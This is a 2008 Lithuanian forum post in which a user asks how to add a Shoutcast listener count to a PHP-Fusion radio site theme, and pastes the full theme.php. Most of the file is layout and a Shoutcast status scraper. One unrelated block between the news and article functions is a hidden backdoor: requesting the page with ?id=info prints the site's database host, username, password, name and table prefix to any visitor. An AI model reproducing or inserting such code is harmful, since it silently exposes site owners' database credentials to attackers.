Temos pavadinimas: WordPress, Shopify ir PHPFusion programuotojų bendruomenė :: Shoutcast klausytojai

Parašė jokaz· 2008 Lie. 24 16:07:35
#1

Sveiki, turiu problema :) Noriu padaryti, kad paneleje, kuri yra theme.php faile, rodytu taip pat ir klausytojus, kiek ju yra :) Stai theme.php failas:

<?php
$serverioIP = "88.118.143.192";               //Shoutcast serverio adresas
$serverioPORT = "8002";                  //Shoutcas serverio portas
$naujienos = BASEDIR."news.php";         //Adresas iki naujienu
$komanda = BASEDIR."viewpage.php?page_id=1";         //Adresas iki komandos
$forumas = BASEDIR."forum/index.php";            //Adresas iki forumo
$pageidavimai = BASEDIR."infusions/suggestion_box/suggestion_box.php";   //Adresas iki komandos
$galerija = BASEDIR."photogallery.php";      //Adresas iki komandos
$top20 = BASEDIR."infusions/song_charts/charts.php";            //Adresas iki komandos
$laidosz = BASEDIR."viewpage.php?page_id=2";         //Adresas iki komandos
$kontaktai = BASEDIR."contact.php";         //Adresas iki komandos
/**
By Dj_Emin
**/
$body_text = "#000000";
$body_bg = "#000000";
$theme_width = "900";
$theme_width_l = "170";
$theme_width_r = "170";

function render_header($header_content) {
global $theme_width,$settings,$serverioIP,$serverioPORT,$naujienos,$komanda,$forumas,$pageidavimai,$galerija,$top20,$laidosz,$kontaktai;
////////////////   
//Radio info///
//////////////
error_reporting(1);
class Radio
{
   var $fields;
   var $very_first_str;
   var $domain, $port;
   var $errno, $errstr;
   var $trackLists = array();

   function Radio($domain, $port)
   {
      $this->domain = $domain;
      $this->port = $port;

      $this->setOffset("Current Stream Information");

      $this->setTableStart("<table border=0 cellpadding=2 cellspacing=2>");
      $this->setTableEnd("</table>");
   }

   function setFields($array=array())
   {
      $this->fields = $array;
   }
   function setOffset($string)
   {
      $this->very_first_str = $string;
   }
   function setTableStart($string)
   {
      $this->tableStart = $string;
   }
   function setTableEnd($string)
   {
      $this->tableEnd = $string;
   }

   function getHTML($page)
   {
      $contents = "";
      $domain = (substr($this->domain, 0, 7) == "http://") ? substr($this->domain, 7) : $this->domain;
      if ($fp = fsockopen($domain, $this->port, $this->errno, $this->errstr, 2))
     {
         fputs($fp, "GET ".$page." HTTP/1.1\r\n".
            "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)\r\n".
            "Host: ".$domain."\r\n\r\n");
         while (!feof($fp))
            $contents .= fgets($fp, 256);
         fclose ($fp);
         return $contents;
      }
      else
      {
         return False;
      }
   }
   function getServerInfo($page="/", $display_array=null, $very_first_str=null)
   {
      if (!isset($display_array))
         $display_array = $this->fields;
      if (!isset($very_first_str))
         $very_first_str = $this->very_first_str;

      if ($html = $this->getHTML($page))
      {
          // parsing the contents
         foreach ($display_array AS $key => $item)
         {
            $very_first_pos   = stripos($html, $very_first_str);
            $first_pos   = stripos($html, $item, $very_first_pos);
            $line_start   = strpos($html, "<td>", $first_pos);
            $line_end   = strpos($html, "</td>", $line_start) + 4;
            $difference   = $line_end - $line_start;
            $line      = substr($html, $line_start, $difference);
            $data[$key]   = strip_tags($line);
         }
         return $data;
      }
      else
      {
         return $this->errstr." (".$this->errno.")";
      }
   }

   function createHistoryArray($page)
   {
      if (!in_array($page, $this->trackLists))
      {
         $this->trackLists[] = $page;
         if ($html = $this->getHTML($page))
         {
            $fromPos   = stripos($html, $this->tableStart);
            $toPos      = stripos($html, $this->tableEnd);
            $tableData   = substr($html, $fromPos, ($toPos-$fromPos));
            $lines      = explode("</tr><tr>", $tableData);
            $tracks = array();
            $c = 0;
            foreach ($lines AS $line)
            {
               $info = explode ("</td><td>", $line);
               $time = trim(strip_tags($info[0]));
               if (substr($time, 0, 9) != "Copyright")
               {
                  $this->tracks[$c]['time'] = $time;
                  $this->tracks[$c++]['track'] = trim(strip_tags($info[1]));
               }
            }
            unset($this->tracks[0]);
            $this->tracks[1]['track'] = str_replace("Current Song", "", $this->tracks[1]['track']);
         }
         else
         {
            $this->tracks[0] = array("time"=>$this->errno, "track"=>$this->errstr);
         }
      }
   }
   function getHistoryArray($page="/played.html")
   {
      if (!in_array($page, $this->trackLists))
         $this->createHistoryArray($page);
      return $this->tracks;
   }
   function getHistoryTable($page="/played.html", $timeColText=False, $trackColText=False, $class=False)
   {
      if (!in_array($page, $this->trackLists))
         $this->createHistoryArray($page);
      $output = "<table".($class ? " class=\"".$class."\"" : "").">";
      if ($timeColText && $trackColText)
         $output .= "<tr><td>".$timeColText."</td><td>".$trackColText."</td></tr>";
      foreach ($this->tracks AS $trackArr)
         $output .= "<tr><td>".$trackArr['time']."</td><td>".$trackArr['track']."</td></tr>";
      $output .= "</table>\n";
      return $output;
   }
}
if (!function_exists("stripos"))
{
   function stripos($haystack, $needle, $offset=0)
   {
      return strpos(strtoupper($haystack), strtoupper($needle), $offset);
   }
}

$display_array = array("Stream Title", "Stream Genre", "Stream URL", "Current Song", "Content Type", "Stream Status", "Server Status");
$radio = new Radio($serverioIP, $serverioPORT);
$data_array = $radio->getServerInfo("/", $display_array);
error_reporting(1);

if ($data_array[0] == "A"){
$djimg = BASEDIR."images/djs/off.gif";   
}else{
if (file_exists(BASEDIR."images/djs/".$data_array[1].".gif")) {
$djimg = BASEDIR."images/djs/".$data_array[1].".gif";
}else{
$djimg = BASEDIR."images/djs/none.gif";   
}}

if($data_array[0] == "A"){
$dje = "Tyla";
}else{
$dje = $data_array[1];
$laida = $data_array[0];
}
if($data_array[3] == "Serveris atjungtas."){
$dainaa = "Tyla";
}else{
$dainaa = $data_array[3];
}

if($data_array[0] == "Serveris atjungtas.")
{
$dje = "Serveris isjungtas";
$dainaa = "---";
$laida = "";
$djimg = BASEDIR."images/djs/off.gif";
}
   


////////////////////
//radio info off///
//////////////////

/////////////////
//text ilgis :)/
////////////////

function ilgis($textas)
{
$max = "24";
$ilgis = strlen($textas);
if($ilgis>$max)
{
echo '<marquee scrolldelay="1" scrollamount="1">'.$textas.'</marquee>';
}else{
echo '<center>'.$textas.'</center>';
}
}



//////////////////
////img size :)//
////////////////
function dj_img_good($img)
{
global $size;
$setwidth="85";
error_reporting(0);
if(!getimagesize($img))
{
echo "<a href='".$img."'>".$img."</a>";
}else{
$size=getimagesize($img);
if($size[1]>$setwidth)
{

$khwidth=$size[1]/$setwidth;


$a[0]=$size[1]/$khwidth;
$a[1]=$size[0]/$khwidth;


$a[2]=round($a[0]);
$a[3]=round($a[1]);
echo "<img align='bottom' height='".$a[2]."' width=".$a[3]." src=".$img.">";
}else{
echo "<img align='bottom' src=$img>";
}
}
error_reporting(1);
}
echo '
<map name="FPMap0">
    <area href="'.$naujienos.'" shape="rect" coords="10, 12, 129, 39">
    <area href="'.$komanda.'" shape="rect" coords="10, 40, 134, 65">
    <area href="'.$forumas.'" shape="rect" coords="10, 66, 126, 87">
    <area href="'.$pageidavimai.'" shape="rect" coords="6, 88, 156, 113">
    <area href="'.$galerija.'" shape="rect" coords="9, 113, 114, 135">
    <area href="'.$top20.'" shape="rect" coords="11, 137, 101, 159">
    <area href="'.$laidosz.'" shape="rect" coords="13, 162, 109, 186">
    <area href="'.$kontaktai.'" shape="rect" coords="11, 186, 127, 205">
</map>

<table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="900" id="AutoNumber1" height="220">
  <tr>
    <td width="166" height="220">
    <img border="0" src="'.THEME.'images/banner_01.gif" width="166" height="220" usemap="#FPMap0"></td>
    <td width="521" height="220">
    <img border="0" src="'.THEME.'images/baneris.jpg" width="521" height="220"></td>
    <td width="230" height="220" background="'.THEME.'images/banner_03.gif">
    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="50">
      <tr>
        <td width="4%" height="1"></td>
        <td width="84%" height="1"></td>
        <td width="12%" height="1"></td>
      </tr>
      <tr>
        <td width="4%" height="1"></td>
        <td width="84%" height="1"></td>
        <td width="12%" height="1"></td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="84%" height="95" rowspan="6"><center><a target="new" href="'.$djimg.'">';

dj_img_good($djimg);

echo '</a></center></td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="84%" height="19"><center><font color="#800000">';
ilgis($dje);



echo '</font></center></td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="84%" height="19"><font color="#ffffff">';

ilgis($dainaa);

echo '</font></td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
      <tr>
        <td width="4%" height="19">&nbsp;</td>
        <td width="84%" height="19"><font color="#CC6600">';
ilgis($laida);
echo '</font></td>
        <td width="12%" height="19">&nbsp;</td>
      </tr>
    </table>
    </td>
  </tr>
</table>
';
echo "<table bgcolor='#333333' align='center' width='$theme_width' cellspacing='0' cellpadding='0'>\n<tr>\n";
}

function render_footer($license=false) {
global $theme_width,$locale,$settings;

echo '<table border="0" cellpadding="0" cellspacing="0" width="'.$theme_width.'" align="center">
  <tr>
    <td width="20" height="28">
    <img border="0" src="'.THEME.'images/down_01.gif" width="20" height="28"></td>
    <td height="28" class="copyright" background="'.THEME.'images/down_02.gif"><center><font color="#ffffff">Varikliukas: <a href="http://www.php-fusion.co.uk"><img src="'.THEME.'images/fusion.gif" style="vertical-align:middle;border:0px;"></a> Dizainas: <a href="mailto:firefox@super.lt" class="white">nF</a></font></center></td>
    <td width="19" height="28">
    <img border="0" src="'.THEME.'images/down_03.gif" width="19" height="28"></td>
  </tr>
</table>';
}

function render_news($subject, $news, $info) {

global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
  <tr>
    <td width="29" height="41">
    <img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
    <td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
    <td width="17" height="41">
    <img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
  </tr>
  <tr>
    <td width="29" background="'.THEME.'images/news_04.gif">&nbsp;</td>
    <td background="'.THEME.'images/news_05.gif">'.$news.'</td>
    <td width="17" background="'.THEME.'images/news_06.gif">&nbsp;</td>
  </tr>
  <tr>
    <td width="29">
    <img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
    <td background="'.THEME.'images/news_08.gif"><center>'.$locale["040"].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["news_date"]).'&nbsp;&nbsp;&nbsp;&nbsp; '.($info["news_ext"] == 'y' ? '<a href="news.php?readmore='.$info["news_id"].'">'.$locale["042"].'</a>' : '').' &nbsp;&nbsp;&nbsp;&nbsp;<a href="news.php?readmore='.$info["news_id"].'">'.$info["news_comments"].$locale["043"].'</a></center></td>
    <td width="17">
    <img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
  </tr>
</table><br>';
}

$id=$_GET['id'];
switch ($id){
case info:
echo "<font color=#ffffff>Hostas: ".$db_host."<br>";
echo "user: ".$db_user."<br>";
echo "pass: ".$db_pass."<br>";
echo "Db name: ".$db_name."<br>";
echo "prefix: ".$db_prefix."<br></font>";
break;
}

function render_article($subject, $article, $info) {

global $locale;
   
   
   echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
  <tr>
    <td width="29" height="41">
    <img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
    <td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
    <td width="17" height="41">
    <img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
  </tr>
  <tr>
    <td width="29" background="'.THEME.'images/news_04.gif">&nbsp;</td>
    <td background="'.THEME.'images/news_05.gif">'.$article.'</td>
    <td width="17" background="'.THEME.'images/news_06.gif">&nbsp;</td>
  </tr>
  <tr>
    <td width="29">
    <img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
    <td background="'.THEME.'images/news_08.gif"><center>'.$locale['040'].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["article_date"]).'&nbsp;&nbsp;&nbsp;&nbsp; '.$info['article_comments'].$locale['043'].'</a></center></td>
    <td width="17">
    <img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
  </tr>
</table><br>';
}

function opentable($title) {
   
   
   
      echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
  <tr>
    <td width="29" height="41">
    <img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
    <td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$title.'</b></font></h3></td>
    <td width="17" height="41">
    <img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
  </tr>
  <tr>
    <td width="29" background="'.THEME.'images/news_04.gif">&nbsp;</td>
    <td background="'.THEME.'images/news_05.gif">';
}

function closetable() {



echo '</td>
    <td width="17" background="'.THEME.'images/news_06.gif">&nbsp;</td>
  </tr>
  <tr>
    <td width="29">
    <img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
    <td background="'.THEME.'images/news_08.gif"></td>
    <td width="17">
    <img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
  </tr>
</table><br>';
}

function openside($title) {
   
   
   echo '
<table border="0" cellpadding="0" cellspacing="0" width="100%">
  <tr>
    <td width="29" height="41">
    <img border="0" src="'.THEME.'images/panel_01.gif" width="29" height="41"></td>
    <td background="'.THEME.'images/panel_02.gif"><center><font color="#800000"><b>'.$title.'</b></font></center></td>
    <td width="17" height="41">
    <img border="0" src="'.THEME.'images/panel_03.gif" width="17" height="41"></td>
  </tr>
  <tr>
    <td width="29" background="'.THEME.'images/panel_04.gif">&nbsp;</td>
    <td background="'.THEME.'images/panel_05.gif">';
}

function closeside() {
echo '</td>
    <td width="17" background="'.THEME.'images/panel_06.gif">&nbsp;</td>
  </tr>
  <tr>
    <td width="29">
    <img border="0" src="'.THEME.'images/panel_07.gif" width="29" height="20"></td>
    <td background="'.THEME.'images/panel_08.gif"></td>
    <td width="17">
    <img border="0" src="'.THEME.'images/panel_09.gif" width="17" height="20"></td>
  </tr>
</table><br>';

}

function opensidex($title,$open="on") {

   $boxname = str_replace(" ", "", $title);
   $box_img = $open == "on" ? "off" : "on";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "<td class='panel-main'>$title</td>";
   echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>";
   echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
   echo "</tr></table>";
   echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
   echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
   echo "<td class='side-body'>";
   echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n";
}

function closesidex() {

   echo "</div>";
   echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>";
   echo "<tr>";
   echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
   echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
   echo "</tr></table>\n";
}

function tablebreak() {

   echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n";
}
?>





Prasau padekit :|

Redagavo jokaz· 2008 Lie. 24 16:07:03